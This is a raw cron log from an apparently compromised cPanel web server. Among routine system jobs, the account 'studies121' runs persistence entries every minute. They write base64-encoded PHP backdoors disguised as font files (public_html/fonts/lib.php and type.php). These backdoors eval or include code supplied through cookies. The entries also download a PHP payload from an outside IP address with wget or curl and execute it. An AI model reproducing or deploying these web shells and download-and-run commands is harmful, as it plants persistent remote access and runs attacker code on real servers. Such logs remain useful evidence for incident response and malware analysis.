Sep 12 14:10:01 ip-184-168-122-23 CROND[6588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:10:01 ip-184-168-122-23 CROND[6589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:10:01 ip-184-168-122-23 CROND[6594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:10:01 ip-184-168-122-23 CROND[6590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:11:02 ip-184-168-122-23 CROND[6703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:11:02 ip-184-168-122-23 CROND[6706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:11:02 ip-184-168-122-23 CROND[6705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:11:02 ip-184-168-122-23 CROND[6707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:12:01 ip-184-168-122-23 CROND[6871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:12:01 ip-184-168-122-23 CROND[6874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:12:01 ip-184-168-122-23 CROND[6875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:12:01 ip-184-168-122-23 CROND[6873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:12:01 ip-184-168-122-23 CROND[6876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:13:01 ip-184-168-122-23 CROND[6955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:13:01 ip-184-168-122-23 CROND[6958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:13:01 ip-184-168-122-23 CROND[6956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:13:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:14:01 ip-184-168-122-23 CROND[7066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:14:01 ip-184-168-122-23 CROND[7068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:14:01 ip-184-168-122-23 CROND[7069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:14:01 ip-184-168-122-23 CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:14:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:15:01 ip-184-168-122-23 CROND[7196]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 14:15:01 ip-184-168-122-23 CROND[7198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:15:02 ip-184-168-122-23 CROND[7201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:15:02 ip-184-168-122-23 CROND[7199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:15:02 ip-184-168-122-23 CROND[7200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:15:02 ip-184-168-122-23 CROND[7202]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:15:02 ip-184-168-122-23 CROND[7203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:16:01 ip-184-168-122-23 CROND[7317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:16:01 ip-184-168-122-23 CROND[7319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:16:01 ip-184-168-122-23 CROND[7320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:16:01 ip-184-168-122-23 CROND[7321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:16:01 ip-184-168-122-23 CROND[7324]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:16:01 ip-184-168-122-23 CROND[7325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:17:01 ip-184-168-122-23 CROND[7508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:17:01 ip-184-168-122-23 CROND[7510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:17:01 ip-184-168-122-23 CROND[7511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:17:01 ip-184-168-122-23 CROND[7512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:18:01 ip-184-168-122-23 CROND[7605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:18:01 ip-184-168-122-23 CROND[7607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:18:01 ip-184-168-122-23 CROND[7608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:18:01 ip-184-168-122-23 CROND[7610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:18:01 ip-184-168-122-23 CROND[7609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:19:01 ip-184-168-122-23 CROND[7712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:19:01 ip-184-168-122-23 CROND[7714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:19:01 ip-184-168-122-23 CROND[7713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:19:01 ip-184-168-122-23 CROND[7715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:20:01 ip-184-168-122-23 CROND[7817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:20:01 ip-184-168-122-23 CROND[7820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:21:01 ip-184-168-122-23 CROND[7929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:21:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:21:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:21:01 ip-184-168-122-23 CROND[7933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:22:01 ip-184-168-122-23 CROND[8107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:22:01 ip-184-168-122-23 CROND[8110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:22:01 ip-184-168-122-23 CROND[8109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:22:01 ip-184-168-122-23 CROND[8112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
